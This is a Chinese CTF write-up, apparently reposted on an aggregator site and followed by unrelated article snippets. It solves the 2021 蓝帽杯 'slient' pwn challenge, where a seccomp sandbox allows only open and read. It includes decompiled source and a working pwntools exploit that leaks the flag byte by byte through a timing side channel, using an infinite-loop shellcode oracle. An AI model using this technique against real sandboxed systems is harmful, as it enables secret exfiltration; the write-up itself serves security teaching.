CTF-PWN-沙箱逃脱-【侧信道爆破】(2021-蓝帽杯初赛-slient)

文章目录

  • 侧信道攻击
  • 测信道爆破
  • 2021-蓝帽杯初赛-slient
  • 先自己准备个flag
  • 检查
  • 沙箱
  • IDA源码
    • main
    • sub_A60()
  • 相关知识
    • size_t getpagesize(void)
    • void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
    • range(i,j)
    • 编写相关shellcode
    • 发现
    • "'的用法
    • 此时爆破错误的异常
    • Python ASCII码与字符相互转换
  • 思路
    • 相关判断
  • exp
  • 结果

侧信道攻击

侧信道攻击是一种安全攻击手段,它利用物理信息泄露来获取加密系统的秘密信息,如密钥等。侧信道攻击通常涉及以下方面:

  • 电磁泄露:通过监测设备产生的电磁辐射来获取信息。
  • 时序分析:通过分析加密操作的执行时间来推断密钥。
  • 功率分析:也称为差分功耗分析(DPA),通过测量设备在处理不同数据时的功耗变化来推断密钥。
  • 声学泄露:通过分析设备发出的声音来获取信息。
  • 故障分析:故意引入错误或故障来破坏加密过程,从而获取关键信息。
  • 此外,在实际操作中,攻击者可能会逐位猜测密钥,并通过观察侧信道信息的变化来判断猜测是否正确。例如,如果攻击者猜测的字符与实际密钥的某一位相同,可能会导致加密设备在某个特定时刻产生特定的电磁信号、声音或功耗变化。通过这种方式,攻击者可以逐步推断出完整的密钥。

侧信道攻击是一种非正常的攻击手段,是一种利用计算机不经意间发出的声音来判断计算机的执行情况,比如通过散热器的响声大小来判断计算机所运行程序的复杂性;通过窃听敲击键盘的声音来及进行破译你所输入的是什么;或者说是通过计算机组件再执行某些程序的时候需要消耗不同的电量,来监视你的计算机。

测信道爆破

2021-蓝帽杯初赛-slient

先自己准备个flag

说烂了已经不说了

检查

在这里插入图片描述

沙箱

在这里插入图片描述
看出沙箱只运行open和read

IDA源码

main

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned int v3; // eax
  __int128 v4; // xmm0
  __int128 v5; // xmm1
  __int128 v6; // xmm2
  __int64 v8; // [rsp+48h] [rbp-68h]
  __int64 v9; // [rsp+50h] [rbp-60h]
  __int128 buf; // [rsp+60h] [rbp-50h] BYREF
  __int128 v11; // [rsp+70h] [rbp-40h]
  __int128 v12; // [rsp+80h] [rbp-30h]
  __int128 v13; // [rsp+90h] [rbp-20h]
  unsigned __int64 v14; // [rsp+A0h] [rbp-10h]

  v14 = __readfsqword(0x28u);
  sub_A60(a1, a2, a3);
  v13 = 0LL;
  v12 = 0LL;
  v11 = 0LL;
  buf = 0LL;
  puts("Welcome to silent execution-box.");
  v3 = getpagesize();
  v9 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);
  read(0, &buf, 0x40uLL);
  prctl(38, 1LL, 0LL, 0LL, 0LL);
  prctl(4, 0LL);
  v8 = seccomp_init(0LL);
  seccomp_rule_add(v8, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v8, 2147418112LL, 0LL, 0LL);
  seccomp_load(v8);
  v4 = buf;
  v5 = v11;
  v6 = v12;
  *(_OWORD *)(v9 + 48) = v13;
  *(_OWORD *)(v9 + 32) = v6;
  *(_OWORD *)(v9 + 16) = v5;
  *(_OWORD *)v9 = v4;
  ((void (__fastcall *)(__int64, __int64, __int64))v9)(3735928559LL, 3735928559LL, 3735928559LL);
  return 0LL;
}

即输入0x40的内容,然后执行该内容

sub_A60()

int sub_A60()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return setvbuf(stderr, 0LL, 2, 0LL);
}

相关知识

size_t getpagesize(void)

函数说明:返回一分页的大小,单位为字节(byte)。此为系统的分页大小,不一定会和硬件分页大小相同。

返回值:内存分页大小。

附加说明:在 Intel x86 上其返回值应为4096即0x1000

使用getpagesize函数获得一页内存大小

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

深入理解mmap

If addr is NULL, then the kernel chooses the (page-aligned)
address at which to create the mapping; this is the most portable
method of creating a new mapping. If addr is not NULL, then the
kernel takes it as a hint about where to place the mapping; on
Linux, the kernel will pick a nearby page boundary (but always
above or equal to the value specified by
/proc/sys/vm/mmap_min_addr) and attempt to create the mapping
there. If another mapping already exists there, the kernel picks
a new address that may or may not depend on the hint. The
address of the new mapping is returned as the result of the call.

Linux 为 mmap 分配虚拟内存时,总是从最接近 addr 的页边缘开始的,而且保证地址不低于 /proc/sys/vm/mmap_min_addr 所指定的值。
可以看到,mmap_min_addr = 65536 = 0x10000,因此刚才判断程序利用 mmap 函数在 0x10000 处开辟一个 page 的空间。

  • addr:指定映射区的起始地址。通常设置为 NULL,让系统自动选择合适的地址。如果设置了 MAP_FIXED 标志,则需要提供一个具体的地址。
  • length:映射区的长度,即要映射的内存大小,单位为字节。
  • prot:映射区的访问权限,可以是以下值的组合:
    PROT_READ:可读
    PROT_WRITE:可写
    PROT_EXEC:可执行
    PROT_NONE:不可访问
  • flags:映射区的属性,可以是以下值的组合:
    MAP_SHARED:对映射区的写入操作会写回到文件中
    MAP_PRIVATE:对映射区的写入操作不会写回到文件中
    MAP_FIXED:使用指定的映射起始地址,如果指定的地址无法成功建立映射,则调用失败
    fd:文件描述符,指定映射区的数据来源。如果为 -1,表示不关联任何文件。
  • offset:文件映射偏移量,表示从文件的哪个位置开始映射。通常设置为 0。
  • 返回值:
    成功时,返回映射区的起始地址;
    失败时,返回 MAP_FAILED(通常为 (void *)-1)。

range(i,j)

对应为i到j-1

编写相关shellcode

函数生成官方文档

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

发现

发现open内的参数同样为字符串时对应的shellcode会有所区别

在这里插入图片描述
当参数为字符串和无字符串时对应的内容也不同
在这里插入图片描述

"'的用法

三引号用法

此时爆破错误的异常

在这里插入图片描述

Python ASCII码与字符相互转换

在这里插入图片描述

思路

先打开文件然后读出文件内容到某个可访问的位置,然后再一一比较各个字节的字符。由于只能打开文件和读入文件,为了区分比较各个字节结果的对错,可以用到接受时的时间间隔。

如果比较成功了,那么程序将进入死循环(我们可以通过time这个模块来获取时间戳的差值),比如时间超过2秒那么我们对于flag的一个字节就爆破成功,超过两秒的原因是在未出现异常时设置了持续时间3秒的接收的操作,持续三秒后时间间隔肯定大于2秒,而出现异常的也就是没进入循环的(比较错误的)会出现异常。 同时配上python中的try和except这两个关键字就可以实现逐位的爆破。

相关判断

      try:
            f.recv(timeout=3)# python代码执行到这里时该语句持续三秒,啥都没有那么接受空,而此时如果比较正确,那么将持续三秒,如果出现异常,那么直接到异常处理,异常处理时间间隔小于2秒
            f.close()
        except:
            pass
            f.close()

        end=time.time()
        if end-begin>2:
            flag=flag+chr(j)
            print("第",s,"位"+"到第",e-1,"位的内容:",flag)
            break

exp

需要注意的是,如果我们open的文件过多,系统会发生错误:OSError: [Errno 24] Too many open files,所以我们每次爆破的flag的字节数有限制,需要对索引进行调整
在这里插入图片描述
但我发现我的exp不会有这种情况
在这里插入图片描述

import time
from pwn  import*

context(os="linux",arch="amd64",log_level="debug")

#gdb.attach(f,"b main")

s=0  #0 4 8  12 16 20 
e=4 #4 8 12 16 20 24 
flag=""
for i in range(s,e):
    for j in range(0x20,0x80):
        f=process("./chall")
        f.recvuntil(b"Welcome to silent execution-box.\n")
        payload=shellcraft.amd64.open("flag")
        payload=payload+shellcraft.amd64.read("rax",0x10080,30) # mmap分配按照一定规则分配,此时得到地址为0x10000
        payload=payload+'''
    loop:
    cmp byte ptr [0x10080+{0}],{1}
    je loop
        '''.format(i,j)
        f.sendline(asm(payload))

        begin=time.time()

        try:
            f.recv(timeout=3)# python代码执行到这里时该语句持续三秒,啥都没有那么接受空,而此时如果比较正确,那么将持续三秒,如果出现异常,那么直接到异常处理,异常处理时间间隔小于2秒
            f.close()
        except:
            pass
            f.close()

        end=time.time()
        if end-begin>2:
            flag=flag+chr(j)
            print("第",s,"位"+"到第",e-1,"位的内容:",flag)
            break
        


结果

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/382376.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

什么是宿主软件?宿主软件有哪些?

什么是宿主软件? 宿主软件就是专业的音乐制作软件,我们日常听到的大多数正规音乐作品都是用宿主软件制作出来的,这些软件一般需要安装各类插件,插件就像寄生虫需要在宿主软件里加载才可以工作。 插件主要分虚拟乐器插件和音频处理插件两类…

JZ36 二叉搜索树与双向链表

目录 题目描述 二叉搜索树与双向链表_牛客题霸_牛客网 题目解析 题目答案 最后 题目描述 二叉搜索树与双向链表_牛客题霸_牛客网 题目解析 这里采用的是采用前序遍历的思想,找到要转换的双向链表的头节点也就是这个二叉搜索树的最左节点,找到之后依…

MySQL篇----第十九篇

系列文章目录 文章目录 系列文章目录前言一、什么是存储过程?用什么来调用?二、如何通俗地理解三个范式?三、什么是基本表?什么是视图?四、试述视图的优点?前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这…

力扣[面试题 01.02. 判定是否互为字符重排(哈希表,位图)

Problem: 面试题 01.02. 判定是否互为字符重排 文章目录 题目描述思路复杂度Code 题目描述 思路 思路1:哈希表 1.若两个字符串长度不相等,则一定不符合题意; 2.创建一个map集合,先将字符串s1中的每一个字符与其对应的数量存入集合…

2024.2.10 DMS(数据库管理系统)初体验

数据库管理系统(Database Management System)是一种操纵和管理数据库的大型软件,用于建立、使用和维护数据库,简称DBMS。它对数据库进行统一的管理和控制,以保证数据库的安全性和完整性。用户通过DBMS访问数据库中的数据,数据库管…

大年初一,送出最后8000个红包封面!

今天是大年初一,大家都是怎么安排的? 小灰最近在南方旅游,玩得很开心,后面会给大家分享自己的见闻。 过年期间,大家多少都会给亲朋好友发一些微信红包,拥有个性化的红包封面绝对是一件很酷的事情。 前一段时…

007集——数据存储的端序(大端序和小端序转换代码)——VB/VBA

VB/VBA存储的端序 1、要想制造高性能的VB/VBA代码,离了指针是很难办到的。 2、因为VB/VBA里,用Long来表示指针,而32位(包括64位兼容的)计算机里4字节整数的处理,是最快的方式! 3、要想用指针来处理数据,…

4. ⼤模型微调方法

到底有哪些微调⽅法呢? 第⼀类⽅法:借助OpenAI提供的在线微调⼯具进⾏微调;第⼆类⽅法:借助开源微调框架进⾏微调; 1. OpenAI在线微调⼯具 网址:https://platform.openai.com/docs/guides/fine-tuning/c…

无人机遥感技术应用分析,无人机遥感系统测绘技术详解

由于无人机具有机动快速、使用成本低、维护操作简单等技术特点,因此被作为一种理想的飞行平台广泛应用于军事和民用各个领域。尤其是进入二十一世纪以后,许多国家将无人机系统的研究、开发、应用置于优先发展的地位,体积小、重量轻、探测精度高的新型传感器的不断问世,也使无人…

让Python遇上Office--从编程入门到自动化办公实践

最近仔细的学习了这本《让Python遇上Office》的书,同时把我的学习进程与心得录制了同步视频。 到今天终于把全部90集完成,并且上传到下面的视频平台了,欢迎大家观看并指正! 西瓜视频:https://www.ixigua.com/7300628…

c语言中的隐式类型转换

数据类型转化 我们在实际编程中,不管你是有意的还是无意的,有时候都会让两个不同类型的数据参与运算,编译器为了能够生成CPU可以正常 执行的指令,往往会对数据做类型转换,将两个不同类型的数据转换成同一种数据类型。…

Popper.js:ElementUI 中采用弹出,提示框库,好用的没朋友。

Hi,我贝格前端工场,继续介绍经典的js库,ElementUI 中Tooltip、Select、Cascader、TimePicker等组件中怎么把提示框定位到目标元素的,是用 Popperjs 来实现。 一、Popper.js是什么? Popper.js是一个用于创建弹出式组件…

LLM之LangChain(七)| 使用LangChain,LangSmith实现Prompt工程ToT

如下图所示,LLM仍然是自治代理的backbone,可以通过给LLM增加以下模块来增强LLM功能: Prompter AgentChecker ModuleMemory moduleToT controller 当解决具体问题时,这些模块与LLM进行多轮对话。这是基于LLM的自治代理的典型情况,…

回归预测模型:MATLAB多项式回归

1. 多项式回归模型的基本原理 多项式回归是线性回归的一种扩展,用于分析自变量 X X X与因变量 Y Y Y之间的非线性关系。与简单的线性回归模型不同,多项式回归模型通过引入自变量的高次项来增加模型的复杂度,从而能够拟合数据中的非线性模式。…

卫星通讯领域FPGA关注技术:算法和图像方面(3)

最近关注的公众号提到了从事移动通信、卫星通讯等领域的FPGA、ASIC、信号处理算法等工程师可能需要关注的技术,有通感融合、RNSS授时、惯导,以下做了一些基础的调研: 1 通感融合 1)来自博鳌亚洲论坛创新报告2023:通感算融合已成…

Linux操作系统基础(三):虚拟机与Linux系统安装

文章目录 虚拟机与Linux系统安装 一、系统的安装方式 二、虚拟机概念 三、虚拟机的安装 四、Linux系统安装 1、解压人工智能虚拟机 2、找到解压目录中的node1.vmx 3、启动操作系统 虚拟机与Linux系统安装 一、系统的安装方式 Linux操作系统也有两种安装方式&#xf…

算法学习——LeetCode力扣栈与队列篇1

算法学习——LeetCode力扣栈与队列篇1 232. 用栈实现队列 232. 用栈实现队列 - 力扣(LeetCode) 描述 请你仅使用两个栈实现先入先出队列。队列应当支持一般队列支持的所有操作(push、pop、peek、empty): 实现 MyQu…

动态水印怎么加 怎么去除动态水印 视频剪辑软件 会声会影安激活序列号 会声会影怎么剪辑视频

为了防止白嫖或者增加美观效果,视频制作者可能会采用动态水印的方式,让其他人难以盗取视频使用。动态水印的添加,需要应用到运动路径功能。接下来,本文会教大家动态水印怎么加,怎么去除动态水印的相关内容。感兴趣的小…

解析十六进制雷达数据格式:解析雷达数据长度。

以Cat62格式雷达数据为例,十六进制雷达数据部分代码: 3e0120bf7da4ffee0085 雷达数据长度使用4个字符(2个字节)标识,在这里是“0120”,转换为十进制数为288。 雷达数据长度父类: base_length_…

人工智能如何彻底改变身份欺诈

据 AuthenticID 称,近一半的企业报告合成身份欺诈有所增加,而生物识别欺骗和伪造 ID 欺诈尝试也有所增加。 在当今的数字化存在中,消费者和企业都面临着新的挑战,从考虑数字身份的影响到应对生成人工智能等新工具的使用和流行。与…